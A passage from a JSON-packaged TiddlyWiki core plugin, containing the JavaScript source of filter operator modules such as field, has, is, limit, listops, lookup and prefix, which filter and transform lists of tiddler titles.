            "text": "/*\\\ntitle: $:/core/modules/filters/enlist.js\ntype: application/javascript\nmodule-type: filteroperator\n\nFilter operator returning its operand parsed as a list\n\n\\*/\n(function(){\n\n/*jslint node: true, browser: true */\n/*global $tw: false */\n\"use strict\";\n\n/*\nExport our filter function\n*/\nexports.enlist = function(source,operator,options) {\n\tvar list = $tw.utils.parseStringArray(operator.operand);\n\tif(operator.prefix === \"!\") {\n\t\tvar results = [];\n\t\tsource(function(tiddler,title) {\n\t\t\tif(list.indexOf(title) === -1) {\n\t\t\t\tresults.push(title);\n\t\t\t}\n\t\t});\n\t\treturn results;\n\t} else {\n\t\treturn list;\n\t}\n};\n\n})();\n",
            "type": "application/javascript",
            "module-type": "filteroperator"
        },
        "$:/core/modules/filters/field.js": {
            "title": "$:/core/modules/filters/field.js",
            "text": "/*\\\ntitle: $:/core/modules/filters/field.js\ntype: application/javascript\nmodule-type: filteroperator\n\nFilter operator for comparing fields for equality\n\n\\*/\n(function(){\n\n/*jslint node: true, browser: true */\n/*global $tw: false */\n\"use strict\";\n\n/*\nExport our filter function\n*/\nexports.field = function(source,operator,options) {\n\tvar results = [],\n\t\tfieldname = (operator.suffix || operator.operator || \"title\").toLowerCase();\n\tif(operator.prefix === \"!\") {\n\t\tif(operator.regexp) {\n\t\t\tsource(function(tiddler,title) {\n\t\t\t\tif(tiddler) {\n\t\t\t\t\tvar text = tiddler.getFieldString(fieldname);\n\t\t\t\t\tif(text !== null && !operator.regexp.exec(text)) {\n\t\t\t\t\t\tresults.push(title);\n\t\t\t\t\t}\n\t\t\t\t} else {\n\t\t\t\t\tresults.push(title);\n\t\t\t\t}\n\t\t\t});\n\t\t} else {\n\t\t\tsource(function(tiddler,title) {\n\t\t\t\tif(tiddler) {\n\t\t\t\t\tvar text = tiddler.getFieldString(fieldname);\n\t\t\t\t\tif(text !== null && text !== operator.operand) {\n\t\t\t\t\t\tresults.push(title);\n\t\t\t\t\t}\n\t\t\t\t} else {\n\t\t\t\t\tresults.push(title);\n\t\t\t\t}\n\t\t\t});\n\t\t}\n\t} else {\n\t\tif(operator.regexp) {\n\t\t\tsource(function(tiddler,title) {\n\t\t\t\tif(tiddler) {\n\t\t\t\t\tvar text = tiddler.getFieldString(fieldname);\n\t\t\t\t\tif(text !== null && !!operator.regexp.exec(text)) {\n\t\t\t\t\t\tresults.push(title);\n\t\t\t\t\t}\n\t\t\t\t}\n\t\t\t});\n\t\t} else {\n\t\t\tsource(function(tiddler,title) {\n\t\t\t\tif(tiddler) {\n\t\t\t\t\tvar text = tiddler.getFieldString(fieldname);\n\t\t\t\t\tif(text !== null && text === operator.operand) {\n\t\t\t\t\t\tresults.push(title);\n\t\t\t\t\t}\n\t\t\t\t}\n\t\t\t});\n\t\t}\n\t}\n\treturn results;\n};\n\n})();\n",
            "type": "application/javascript",
            "module-type": "filteroperator"
        },
        "$:/core/modules/filters/fields.js": {
            "title": "$:/core/modules/filters/fields.js",
            "text": "/*\\\ntitle: $:/core/modules/filters/fields.js\ntype: application/javascript\nmodule-type: filteroperator\n\nFilter operator for returning the names of the fields on the selected tiddlers\n\n\\*/\n(function(){\n\n/*jslint node: true, browser: true */\n/*global $tw: false */\n\"use strict\";\n\n/*\nExport our filter function\n*/\nexports.fields = function(source,operator,options) {\n\tvar results = [];\n\tsource(function(tiddler,title) {\n\t\tif(tiddler) {\n\t\t\tfor(var fieldName in tiddler.fields) {\n\t\t\t\t$tw.utils.pushTop(results,fieldName);\n\t\t\t}\n\t\t}\n\t});\n\treturn results;\n};\n\n})();\n",
            "type": "application/javascript",
            "module-type": "filteroperator"
        },
        "$:/core/modules/filters/get.js": {
            "title": "$:/core/modules/filters/get.js",
            "text": "/*\\\ntitle: $:/core/modules/filters/get.js\ntype: application/javascript\nmodule-type: filteroperator\n\nFilter operator for replacing tiddler titles by the value of the field specified in the operand.\n\n\\*/\n(function(){\n\n/*jslint node: true, browser: true */\n/*global $tw: false */\n\"use strict\";\n\n/*\nExport our filter function\n*/\nexports.get = function(source,operator,options) {\n\tvar results = [];\n\tsource(function(tiddler,title) {\n\t\tif(tiddler) {\n\t\t\tvar value = tiddler.getFieldString(operator.operand);\n\t\t\tif(value) {\n\t\t\t\tresults.push(value);\n\t\t\t}\n\t\t}\n\t});\n\treturn results;\n};\n\n})();\n",
            "type": "application/javascript",
            "module-type": "filteroperator"
        },
        "$:/core/modules/filters/getindex.js": {
            "title": "$:/core/modules/filters/getindex.js",
            "text": "/*\\\ntitle: $:/core/modules/filters/getindex.js\ntype: application/javascript\nmodule-type: filteroperator\n\nreturns the value at a given index of datatiddlers\n\n\\*/\n(function(){\n\n/*jslint node: true, browser: true */\n/*global $tw: false */\n\"use strict\";\n\n/*\nExport our filter function\n*/\nexports.getindex = function(source,operator,options) {\n\tvar data,title,results = [];\n\tif(operator.operand){\n\t\tsource(function(tiddler,title) {\n\t\t\ttitle = tiddler ? tiddler.fields.title : title;\n\t\t\tdata = options.wiki.extractTiddlerDataItem(tiddler,operator.operand);\n\t\t\tif(data) {\n\t\t\t\tresults.push(data);\n\t\t\t}\n\t\t});\n\t}\n\treturn results;\n};\n\n})();\n",
            "type": "application/javascript",
            "module-type": "filteroperator"
        },
        "$:/core/modules/filters/has.js": {
            "title": "$:/core/modules/filters/has.js",
            "text": "/*\\\ntitle: $:/core/modules/filters/has.js\ntype: application/javascript\nmodule-type: filteroperator\n\nFilter operator for checking if a tiddler has the specified field\n\n\\*/\n(function(){\n\n/*jslint node: true, browser: true */\n/*global $tw: false */\n\"use strict\";\n\n/*\nExport our filter function\n*/\nexports.has = function(source,operator,options) {\n\tvar results = [],\n\t\tinvert = operator.prefix === \"!\";\n\n\tif(operator.suffix === \"field\") {\n\t\tif(invert) {\n\t\t\tsource(function(tiddler,title) {\n\t\t\t\tif(!tiddler || (tiddler && (!$tw.utils.hop(tiddler.fields,operator.operand)))) {\n\t\t\t\t\tresults.push(title);\n\t\t\t\t}\n\t\t\t});\n\t\t} else {\n\t\t\tsource(function(tiddler,title) {\n\t\t\t\tif(tiddler && $tw.utils.hop(tiddler.fields,operator.operand)) {\n\t\t\t\t\tresults.push(title);\n\t\t\t\t}\n\t\t\t});\n\t\t}\n\t} else {\n\t\tif(invert) {\n\t\t\tsource(function(tiddler,title) {\n\t\t\t\tif(!tiddler || !$tw.utils.hop(tiddler.fields,operator.operand) || (tiddler.fields[operator.operand] === \"\")) {\n\t\t\t\t\tresults.push(title);\n\t\t\t\t}\n\t\t\t});\n\t\t} else {\n\t\t\tsource(function(tiddler,title) {\n\t\t\t\tif(tiddler && $tw.utils.hop(tiddler.fields,operator.operand) && !(tiddler.fields[operator.operand] === \"\" || tiddler.fields[operator.operand].length === 0)) {\n\t\t\t\t\tresults.push(title);\n\t\t\t\t}\n\t\t\t});\n\t\t}\n\t}\n\treturn results;\n};\n\n})();\n",
            "type": "application/javascript",
            "module-type": "filteroperator"
        },
        "$:/core/modules/filters/haschanged.js": {
            "title": "$:/core/modules/filters/haschanged.js",
            "text": "/*\\\ntitle: $:/core/modules/filters/haschanged.js\ntype: application/javascript\nmodule-type: filteroperator\n\nFilter operator returns tiddlers from the list that have a non-zero changecount.\n\n\\*/\n(function(){\n\n/*jslint node: true, browser: true */\n/*global $tw: false */\n\"use strict\";\n\n/*\nExport our filter function\n*/\nexports.haschanged = function(source,operator,options) {\n\tvar results = [];\n\tif(operator.prefix === \"!\") {\n\t\tsource(function(tiddler,title) {\n\t\t\tif(options.wiki.getChangeCount(title) === 0) {\n\t\t\t\tresults.push(title);\n\t\t\t}\n\t\t});\n\t} else {\n\t\tsource(function(tiddler,title) {\n\t\t\tif(options.wiki.getChangeCount(title) > 0) {\n\t\t\t\tresults.push(title);\n\t\t\t}\n\t\t});\n\t}\n\treturn results;\n};\n\n})();\n",
            "type": "application/javascript",
            "module-type": "filteroperator"
        },
        "$:/core/modules/filters/indexes.js": {
            "title": "$:/core/modules/filters/indexes.js",
            "text": "/*\\\ntitle: $:/core/modules/filters/indexes.js\ntype: application/javascript\nmodule-type: filteroperator\n\nFilter operator for returning the indexes of a data tiddler\n\n\\*/\n(function(){\n\n/*jslint node: true, browser: true */\n/*global $tw: false */\n\"use strict\";\n\n/*\nExport our filter function\n*/\nexports.indexes = function(source,operator,options) {\n\tvar results = [];\n\tsource(function(tiddler,title) {\n\t\tvar data = options.wiki.getTiddlerDataCached(title);\n\t\tif(data) {\n\t\t\t$tw.utils.pushTop(results,Object.keys(data));\n\t\t}\n\t});\n\tresults.sort();\n\treturn results;\n};\n\n})();\n",
            "type": "application/javascript",
            "module-type": "filteroperator"
        },
        "$:/core/modules/filters/insertbefore.js": {
            "title": "$:/core/modules/filters/insertbefore.js",
            "text": "/*\\\ntitle: $:/core/modules/filters/insertbefore.js\ntype: application/javascript\nmodule-type: filteroperator\n\nInsert an item before another item in a list\n\n\\*/\n(function(){\n\n/*jslint node: true, browser: true */\n/*global $tw: false */\n\"use strict\";\n\n/*\nOrder a list\n*/\nexports.insertbefore = function(source,operator,options) {\n\tvar results = [];\n\tsource(function(tiddler,title) {\n\t\tresults.push(title);\n\t});\n\tvar target = options.widget && options.widget.getVariable(operator.suffix || \"currentTiddler\");\n\tif(target !== operator.operand) {\n\t\t// Remove the entry from the list if it is present\n\t\tvar pos = results.indexOf(operator.operand);\n\t\tif(pos !== -1) {\n\t\t\tresults.splice(pos,1);\n\t\t}\n\t\t// Insert the entry before the target marker\n\t\tpos = results.indexOf(target);\n\t\tif(pos !== -1) {\n\t\t\tresults.splice(pos,0,operator.operand);\n\t\t} else {\n\t\t\tresults.push(operator.operand);\n\t\t}\n\t}\n\treturn results;\n};\n\n})();\n",
            "type": "application/javascript",
            "module-type": "filteroperator"
        },
        "$:/core/modules/filters/is/current.js": {
            "title": "$:/core/modules/filters/is/current.js",
            "text": "/*\\\ntitle: $:/core/modules/filters/is/current.js\ntype: application/javascript\nmodule-type: isfilteroperator\n\nFilter function for [is[current]]\n\n\\*/\n(function(){\n\n/*jslint node: true, browser: true */\n/*global $tw: false */\n\"use strict\";\n\n/*\nExport our filter function\n*/\nexports.current = function(source,prefix,options) {\n\tvar results = [],\n\t\tcurrTiddlerTitle = options.widget && options.widget.getVariable(\"currentTiddler\");\n\tif(prefix === \"!\") {\n\t\tsource(function(tiddler,title) {\n\t\t\tif(title !== currTiddlerTitle) {\n\t\t\t\tresults.push(title);\n\t\t\t}\n\t\t});\n\t} else {\n\t\tsource(function(tiddler,title) {\n\t\t\tif(title === currTiddlerTitle) {\n\t\t\t\tresults.push(title);\n\t\t\t}\n\t\t});\n\t}\n\treturn results;\n};\n\n})();\n",
            "type": "application/javascript",
            "module-type": "isfilteroperator"
        },
        "$:/core/modules/filters/is/image.js": {
            "title": "$:/core/modules/filters/is/image.js",
            "text": "/*\\\ntitle: $:/core/modules/filters/is/image.js\ntype: application/javascript\nmodule-type: isfilteroperator\n\nFilter function for [is[image]]\n\n\\*/\n(function(){\n\n/*jslint node: true, browser: true */\n/*global $tw: false */\n\"use strict\";\n\n/*\nExport our filter function\n*/\nexports.image = function(source,prefix,options) {\n\tvar results = [];\n\tif(prefix === \"!\") {\n\t\tsource(function(tiddler,title) {\n\t\t\tif(!options.wiki.isImageTiddler(title)) {\n\t\t\t\tresults.push(title);\n\t\t\t}\n\t\t});\n\t} else {\n\t\tsource(function(tiddler,title) {\n\t\t\tif(options.wiki.isImageTiddler(title)) {\n\t\t\t\tresults.push(title);\n\t\t\t}\n\t\t});\n\t}\n\treturn results;\n};\n\n})();\n",
            "type": "application/javascript",
            "module-type": "isfilteroperator"
        },
        "$:/core/modules/filters/is/missing.js": {
            "title": "$:/core/modules/filters/is/missing.js",
            "text": "/*\\\ntitle: $:/core/modules/filters/is/missing.js\ntype: application/javascript\nmodule-type: isfilteroperator\n\nFilter function for [is[missing]]\n\n\\*/\n(function(){\n\n/*jslint node: true, browser: true */\n/*global $tw: false */\n\"use strict\";\n\n/*\nExport our filter function\n*/\nexports.missing = function(source,prefix,options) {\n\tvar results = [];\n\tif(prefix === \"!\") {\n\t\tsource(function(tiddler,title) {\n\t\t\tif(options.wiki.tiddlerExists(title)) {\n\t\t\t\tresults.push(title);\n\t\t\t}\n\t\t});\n\t} else {\n\t\tsource(function(tiddler,title) {\n\t\t\tif(!options.wiki.tiddlerExists(title)) {\n\t\t\t\tresults.push(title);\n\t\t\t}\n\t\t});\n\t}\n\treturn results;\n};\n\n})();\n",
            "type": "application/javascript",
            "module-type": "isfilteroperator"
        },
        "$:/core/modules/filters/is/orphan.js": {
            "title": "$:/core/modules/filters/is/orphan.js",
            "text": "/*\\\ntitle: $:/core/modules/filters/is/orphan.js\ntype: application/javascript\nmodule-type: isfilteroperator\n\nFilter function for [is[orphan]]\n\n\\*/\n(function(){\n\n/*jslint node: true, browser: true */\n/*global $tw: false */\n\"use strict\";\n\n/*\nExport our filter function\n*/\nexports.orphan = function(source,prefix,options) {\n\tvar results = [],\n\t\torphanTitles = options.wiki.getOrphanTitles();\n\tif(prefix === \"!\") {\n\t\tsource(function(tiddler,title) {\n\t\t\tif(orphanTitles.indexOf(title) === -1) {\n\t\t\t\tresults.push(title);\n\t\t\t}\n\t\t});\n\t} else {\n\t\tsource(function(tiddler,title) {\n\t\t\tif(orphanTitles.indexOf(title) !== -1) {\n\t\t\t\tresults.push(title);\n\t\t\t}\n\t\t});\n\t}\n\treturn results;\n};\n\n})();\n",
            "type": "application/javascript",
            "module-type": "isfilteroperator"
        },
        "$:/core/modules/filters/is/shadow.js": {
            "title": "$:/core/modules/filters/is/shadow.js",
            "text": "/*\\\ntitle: $:/core/modules/filters/is/shadow.js\ntype: application/javascript\nmodule-type: isfilteroperator\n\nFilter function for [is[shadow]]\n\n\\*/\n(function(){\n\n/*jslint node: true, browser: true */\n/*global $tw: false */\n\"use strict\";\n\n/*\nExport our filter function\n*/\nexports.shadow = function(source,prefix,options) {\n\tvar results = [];\n\tif(prefix === \"!\") {\n\t\tsource(function(tiddler,title) {\n\t\t\tif(!options.wiki.isShadowTiddler(title)) {\n\t\t\t\tresults.push(title);\n\t\t\t}\n\t\t});\n\t} else {\n\t\tsource(function(tiddler,title) {\n\t\t\tif(options.wiki.isShadowTiddler(title)) {\n\t\t\t\tresults.push(title);\n\t\t\t}\n\t\t});\n\t}\n\treturn results;\n};\n\n})();\n",
            "type": "application/javascript",
            "module-type": "isfilteroperator"
        },
        "$:/core/modules/filters/is/system.js": {
            "title": "$:/core/modules/filters/is/system.js",
            "text": "/*\\\ntitle: $:/core/modules/filters/is/system.js\ntype: application/javascript\nmodule-type: isfilteroperator\n\nFilter function for [is[system]]\n\n\\*/\n(function(){\n\n/*jslint node: true, browser: true */\n/*global $tw: false */\n\"use strict\";\n\n/*\nExport our filter function\n*/\nexports.system = function(source,prefix,options) {\n\tvar results = [];\n\tif(prefix === \"!\") {\n\t\tsource(function(tiddler,title) {\n\t\t\tif(!options.wiki.isSystemTiddler(title)) {\n\t\t\t\tresults.push(title);\n\t\t\t}\n\t\t});\n\t} else {\n\t\tsource(function(tiddler,title) {\n\t\t\tif(options.wiki.isSystemTiddler(title)) {\n\t\t\t\tresults.push(title);\n\t\t\t}\n\t\t});\n\t}\n\treturn results;\n};\n\n})();\n",
            "type": "application/javascript",
            "module-type": "isfilteroperator"
        },
        "$:/core/modules/filters/is/tag.js": {
            "title": "$:/core/modules/filters/is/tag.js",
            "text": "/*\\\ntitle: $:/core/modules/filters/is/tag.js\ntype: application/javascript\nmodule-type: isfilteroperator\n\nFilter function for [is[tag]]\n\n\\*/\n(function(){\n\n/*jslint node: true, browser: true */\n/*global $tw: false */\n\"use strict\";\n\n/*\nExport our filter function\n*/\nexports.tag = function(source,prefix,options) {\n\tvar results = [],\n\t\ttagMap = options.wiki.getTagMap();\n\tif(prefix === \"!\") {\n\t\tsource(function(tiddler,title) {\n\t\t\tif(!$tw.utils.hop(tagMap,title)) {\n\t\t\t\tresults.push(title);\n\t\t\t}\n\t\t});\n\t} else {\n\t\tsource(function(tiddler,title) {\n\t\t\tif($tw.utils.hop(tagMap,title)) {\n\t\t\t\tresults.push(title);\n\t\t\t}\n\t\t});\n\t}\n\treturn results;\n};\n\n})();\n",
            "type": "application/javascript",
            "module-type": "isfilteroperator"
        },
        "$:/core/modules/filters/is/tiddler.js": {
            "title": "$:/core/modules/filters/is/tiddler.js",
            "text": "/*\\\ntitle: $:/core/modules/filters/is/tiddler.js\ntype: application/javascript\nmodule-type: isfilteroperator\n\nFilter function for [is[tiddler]]\n\n\\*/\n(function(){\n\n/*jslint node: true, browser: true */\n/*global $tw: false */\n\"use strict\";\n\n/*\nExport our filter function\n*/\nexports.tiddler = function(source,prefix,options) {\n\tvar results = [];\n\tif(prefix === \"!\") {\n\t\tsource(function(tiddler,title) {\n\t\t\tif(!options.wiki.tiddlerExists(title)) {\n\t\t\t\tresults.push(title);\n\t\t\t}\n\t\t});\n\t} else {\n\t\tsource(function(tiddler,title) {\n\t\t\tif(options.wiki.tiddlerExists(title)) {\n\t\t\t\tresults.push(title);\n\t\t\t}\n\t\t});\n\t}\n\treturn results;\n};\n\n})();\n",
            "type": "application/javascript",
            "module-type": "isfilteroperator"
        },
        "$:/core/modules/filters/is.js": {
            "title": "$:/core/modules/filters/is.js",
            "text": "/*\\\ntitle: $:/core/modules/filters/is.js\ntype: application/javascript\nmodule-type: filteroperator\n\nFilter operator for checking tiddler properties\n\n\\*/\n(function(){\n\n/*jslint node: true, browser: true */\n/*global $tw: false */\n\"use strict\";\n\nvar isFilterOperators;\n\nfunction getIsFilterOperators() {\n\tif(!isFilterOperators) {\n\t\tisFilterOperators = {};\n\t\t$tw.modules.applyMethods(\"isfilteroperator\",isFilterOperators);\n\t}\n\treturn isFilterOperators;\n}\n\n/*\nExport our filter function\n*/\nexports.is = function(source,operator,options) {\n\t// Dispatch to the correct isfilteroperator\n\tvar isFilterOperators = getIsFilterOperators();\n\tif(operator.operand) {\n\t\tvar isFilterOperator = isFilterOperators[operator.operand];\n\t\tif(isFilterOperator) {\n\t\t\treturn isFilterOperator(source,operator.prefix,options);\n\t\t} else {\n\t\t\treturn [$tw.language.getString(\"Error/IsFilterOperator\")];\n\t\t}\n\t} else {\n\t\t// Return all tiddlers if the operand is missing\n\t\tvar results = [];\n\t\tsource(function(tiddler,title) {\n\t\t\tresults.push(title);\n\t\t});\n\t\treturn results;\n\t}\n};\n\n})();",
            "type": "application/javascript",
            "module-type": "filteroperator"
        },
        "$:/core/modules/filters/limit.js": {
            "title": "$:/core/modules/filters/limit.js",
            "text": "/*\\\ntitle: $:/core/modules/filters/limit.js\ntype: application/javascript\nmodule-type: filteroperator\n\nFilter operator for chopping the results to a specified maximum number of entries\n\n\\*/\n(function(){\n\n/*jslint node: true, browser: true */\n/*global $tw: false */\n\"use strict\";\n\n/*\nExport our filter function\n*/\nexports.limit = function(source,operator,options) {\n\tvar results = [];\n\t// Convert to an array\n\tsource(function(tiddler,title) {\n\t\tresults.push(title);\n\t});\n\t// Slice the array if necessary\n\tvar limit = Math.min(results.length,parseInt(operator.operand,10));\n\tif(operator.prefix === \"!\") {\n\t\tresults = results.slice(-limit);\n\t} else {\n\t\tresults = results.slice(0,limit);\n\t}\n\treturn results;\n};\n\n})();\n",
            "type": "application/javascript",
            "module-type": "filteroperator"
        },
        "$:/core/modules/filters/links.js": {
            "title": "$:/core/modules/filters/links.js",
            "text": "/*\\\ntitle: $:/core/modules/filters/links.js\ntype: application/javascript\nmodule-type: filteroperator\n\nFilter operator for returning all the links from a tiddler\n\n\\*/\n(function(){\n\n/*jslint node: true, browser: true */\n/*global $tw: false */\n\"use strict\";\n\n/*\nExport our filter function\n*/\nexports.links = function(source,operator,options) {\n\tvar results = [];\n\tsource(function(tiddler,title) {\n\t\t$tw.utils.pushTop(results,options.wiki.getTiddlerLinks(title));\n\t});\n\treturn results;\n};\n\n})();\n",
            "type": "application/javascript",
            "module-type": "filteroperator"
        },
        "$:/core/modules/filters/list.js": {
            "title": "$:/core/modules/filters/list.js",
            "text": "/*\\\ntitle: $:/core/modules/filters/list.js\ntype: application/javascript\nmodule-type: filteroperator\n\nFilter operator returning the tiddlers whose title is listed in the operand tiddler\n\n\\*/\n(function(){\n\n/*jslint node: true, browser: true */\n/*global $tw: false */\n\"use strict\";\n\n/*\nExport our filter function\n*/\nexports.list = function(source,operator,options) {\n\tvar results = [],\n\t\ttr = $tw.utils.parseTextReference(operator.operand),\n\t\tcurrTiddlerTitle = options.widget && options.widget.getVariable(\"currentTiddler\"),\n\t\tlist = options.wiki.getTiddlerList(tr.title || currTiddlerTitle,tr.field,tr.index);\n\tif(operator.prefix === \"!\") {\n\t\tsource(function(tiddler,title) {\n\t\t\tif(list.indexOf(title) === -1) {\n\t\t\t\tresults.push(title);\n\t\t\t}\n\t\t});\n\t} else {\n\t\tresults = list;\n\t}\n\treturn results;\n};\n\n})();\n",
            "type": "application/javascript",
            "module-type": "filteroperator"
        },
        "$:/core/modules/filters/listed.js": {
            "title": "$:/core/modules/filters/listed.js",
            "text": "/*\\\ntitle: $:/core/modules/filters/listed.js\ntype: application/javascript\nmodule-type: filteroperator\n\nFilter operator returning all tiddlers that have the selected tiddlers in a list\n\n\\*/\n(function(){\n\n/*jslint node: true, browser: true */\n/*global $tw: false */\n\"use strict\";\n\n/*\nExport our filter function\n*/\nexports.listed = function(source,operator,options) {\n\tvar field = operator.operand || \"list\",\n\t\tresults = [];\n\tsource(function(tiddler,title) {\n\t\t$tw.utils.pushTop(results,options.wiki.findListingsOfTiddler(title,field));\n\t});\n\treturn results;\n};\n\n})();\n",
            "type": "application/javascript",
            "module-type": "filteroperator"
        },
        "$:/core/modules/filters/listops.js": {
            "title": "$:/core/modules/filters/listops.js",
            "text": "/*\\\ntitle: $:/core/modules/filters/listops.js\ntype: application/javascript\nmodule-type: filteroperator\n\nFilter operators for manipulating the current selection list\n\n\\*/\n(function(){\n\n/*jslint node: true, browser: true */\n/*global $tw: false */\n\"use strict\";\n\n/*\nOrder a list\n*/\nexports.order = function(source,operator,options) {\n\tvar results = [];\n\tif(operator.operand.toLowerCase() === \"reverse\") {\n\t\tsource(function(tiddler,title) {\n\t\t\tresults.unshift(title);\n\t\t});\n\t} else {\n\t\tsource(function(tiddler,title) {\n\t\t\tresults.push(title);\n\t\t});\n\t}\n\treturn results;\n};\n\n/*\nReverse list\n*/\nexports.reverse = function(source,operator,options) {\n\tvar results = [];\n\tsource(function(tiddler,title) {\n\t\tresults.unshift(title);\n\t});\n\treturn results;\n};\n\n/*\nFirst entry/entries in list\n*/\nexports.first = function(source,operator,options) {\n\tvar count = $tw.utils.getInt(operator.operand,1),\n\t\tresults = [];\n\tsource(function(tiddler,title) {\n\t\tresults.push(title);\n\t});\n\treturn results.slice(0,count);\n};\n\n/*\nLast entry/entries in list\n*/\nexports.last = function(source,operator,options) {\n\tvar count = $tw.utils.getInt(operator.operand,1),\n\t\tresults = [];\n\tsource(function(tiddler,title) {\n\t\tresults.push(title);\n\t});\n\treturn results.slice(-count);\n};\n\n/*\nAll but the first entry/entries of the list\n*/\nexports.rest = function(source,operator,options) {\n\tvar count = $tw.utils.getInt(operator.operand,1),\n\t\tresults = [];\n\tsource(function(tiddler,title) {\n\t\tresults.push(title);\n\t});\n\treturn results.slice(count);\n};\nexports.butfirst = exports.rest;\nexports.bf = exports.rest;\n\n/*\nAll but the last entry/entries of the list\n*/\nexports.butlast = function(source,operator,options) {\n\tvar count = $tw.utils.getInt(operator.operand,1),\n\t\tresults = [];\n\tsource(function(tiddler,title) {\n\t\tresults.push(title);\n\t});\n\treturn results.slice(0,-count);\n};\nexports.bl = exports.butlast;\n\n/*\nThe nth member of the list\n*/\nexports.nth = function(source,operator,options) {\n\tvar count = $tw.utils.getInt(operator.operand,1),\n\t\tresults = [];\n\tsource(function(tiddler,title) {\n\t\tresults.push(title);\n\t});\n\treturn results.slice(count - 1,count);\n};\n\n})();\n",
            "type": "application/javascript",
            "module-type": "filteroperator"
        },
        "$:/core/modules/filters/lookup.js": {
            "title": "$:/core/modules/filters/lookup.js",
            "text": "/*\\\ntitle: $:/core/modules/filters/lookup.js\ntype: application/javascript\nmodule-type: filteroperator\n\nFilter operator that looks up values via a title prefix\n\n[lookup:<field>[<prefix>]]\n\nPrepends the prefix to the selected items and returns the specified field value\n\n\\*/\n(function(){\n\n/*jslint node: true, browser: true */\n/*global $tw: false */\n\"use strict\";\n\n/*\nExport our filter function\n*/\nexports.lookup = function(source,operator,options) {\n\tvar results = [];\n\tsource(function(tiddler,title) {\n\t\tresults.push(options.wiki.getTiddlerText(operator.operand + title) || options.wiki.getTiddlerText(operator.operand + operator.suffix));\n\t});\n\treturn results;\n};\n\n})();\n",
            "type": "application/javascript",
            "module-type": "filteroperator"
        },
        "$:/core/modules/filters/minlength.js": {
            "title": "$:/core/modules/filters/minlength.js",
            "text": "/*\\\ntitle: $:/core/modules/filters/minlength.js\ntype: application/javascript\nmodule-type: filteroperator\n\nFilter operator for filtering out titles that don't meet the minimum length in the operand\n\n\\*/\n(function(){\n\n/*jslint node: true, browser: true */\n/*global $tw: false */\n\"use strict\";\n\n/*\nExport our filter function\n*/\nexports.minlength = function(source,operator,options) {\n\tvar results = [],\n\t\tminLength = parseInt(operator.operand || \"\",10) || 0;\n\tsource(function(tiddler,title) {\n\t\tif(title.length >= minLength) {\n\t\t\tresults.push(title);\n\t\t}\n\t});\n\treturn results;\n};\n\n})();\n",
            "type": "application/javascript",
            "module-type": "filteroperator"
        },
        "$:/core/modules/filters/modules.js": {
            "title": "$:/core/modules/filters/modules.js",
            "text": "/*\\\ntitle: $:/core/modules/filters/modules.js\ntype: application/javascript\nmodule-type: filteroperator\n\nFilter operator for returning the titles of the modules of a given type in this wiki\n\n\\*/\n(function(){\n\n/*jslint node: true, browser: true */\n/*global $tw: false */\n\"use strict\";\n\n/*\nExport our filter function\n*/\nexports.modules = function(source,operator,options) {\n\tvar results = [];\n\tsource(function(tiddler,title) {\n\t\t$tw.utils.each($tw.modules.types[title],function(moduleInfo,moduleName) {\n\t\t\tresults.push(moduleName);\n\t\t});\n\t});\n\tresults.sort();\n\treturn results;\n};\n\n})();\n",
            "type": "application/javascript",
            "module-type": "filteroperator"
        },
        "$:/core/modules/filters/moduletypes.js": {
            "title": "$:/core/modules/filters/moduletypes.js",
            "text": "/*\\\ntitle: $:/core/modules/filters/moduletypes.js\ntype: application/javascript\nmodule-type: filteroperator\n\nFilter operator for returning the names of the module types in this wiki\n\n\\*/\n(function(){\n\n/*jslint node: true, browser: true */\n/*global $tw: false */\n\"use strict\";\n\n/*\nExport our filter function\n*/\nexports.moduletypes = function(source,operator,options) {\n\tvar results = [];\n\t$tw.utils.each($tw.modules.types,function(moduleInfo,type) {\n\t\tresults.push(type);\n\t});\n\tresults.sort();\n\treturn results;\n};\n\n})();\n",
            "type": "application/javascript",
            "module-type": "filteroperator"
        },
        "$:/core/modules/filters/next.js": {
            "title": "$:/core/modules/filters/next.js",
            "text": "/*\\\ntitle: $:/core/modules/filters/next.js\ntype: application/javascript\nmodule-type: filteroperator\n\nFilter operator returning the tiddler whose title occurs next in the list supplied in the operand tiddler\n\n\\*/\n(function(){\n\n/*jslint node: true, browser: true */\n/*global $tw: false */\n\"use strict\";\n\n/*\nExport our filter function\n*/\nexports.next = function(source,operator,options) {\n\tvar results = [],\n\t\tlist = options.wiki.getTiddlerList(operator.operand);\n\tsource(function(tiddler,title) {\n\t\tvar match = list.indexOf(title);\n\t\t// increment match and then test if result is in range\n\t\tmatch++;\n\t\tif(match > 0 && match < list.length) {\n\t\t\tresults.push(list[match]);\n\t\t}\n\t});\n\treturn results;\n};\n\n})();\n",
            "type": "application/javascript",
            "module-type": "filteroperator"
        },
        "$:/core/modules/filters/plugintiddlers.js": {
            "title": "$:/core/modules/filters/plugintiddlers.js",
            "text": "/*\\\ntitle: $:/core/modules/filters/plugintiddlers.js\ntype: application/javascript\nmodule-type: filteroperator\n\nFilter operator for returning the titles of the shadow tiddlers within a plugin\n\n\\*/\n(function(){\n\n/*jslint node: true, browser: true */\n/*global $tw: false */\n\"use strict\";\n\n/*\nExport our filter function\n*/\nexports.plugintiddlers = function(source,operator,options) {\n\tvar results = [];\n\tsource(function(tiddler,title) {\n\t\tvar pluginInfo = options.wiki.getPluginInfo(title) || options.wiki.getTiddlerDataCached(title,{tiddlers:[]});\n\t\tif(pluginInfo && pluginInfo.tiddlers) {\n\t\t\t$tw.utils.each(pluginInfo.tiddlers,function(fields,title) {\n\t\t\t\tresults.push(title);\n\t\t\t});\n\t\t}\n\t});\n\tresults.sort();\n\treturn results;\n};\n\n})();\n",
            "type": "application/javascript",
            "module-type": "filteroperator"
        },
        "$:/core/modules/filters/prefix.js": {
            "title": "$:/core/modules/filters/prefix.js",
            "text": "/*\\\ntitle: $:/core/modules/filters/prefix.js\ntype: application/javascript\nmodule-type: filteroperator\n\nFilter operator for checking if a title starts with a prefix\n\n\\*/\n(function(){\n\n/*jslint node: true, browser: true */\n/*global $tw: false */\n\"use strict\";\n\n/*\nExport our filter function\n*/\nexports.prefix = function(source,operator,options) {\n\tvar results = [];\n\tif(operator.prefix === \"!\") {\n\t\tsource(function(tiddler,title) {\n\t\t\tif(title.substr(0,operator.operand.length) !== operator.operand) {\n\t\t\t\tresults.push(title);\n\t\t\t}\n\t\t});\n\t} else {\n\t\tsource(function(tiddler,title) {\n\t\t\tif(title.substr(0,operator.operand.length) === operator.operand) {\n\t\t\t\tresults.push(title);\n\t\t\t}\n\t\t});\n\t}\n\treturn results;\n};\n\n})();\n",
            "type": "application/javascript",
            "module-type": "filteroperator"
        },
        "$:/core/modules/filters/previous.js": {
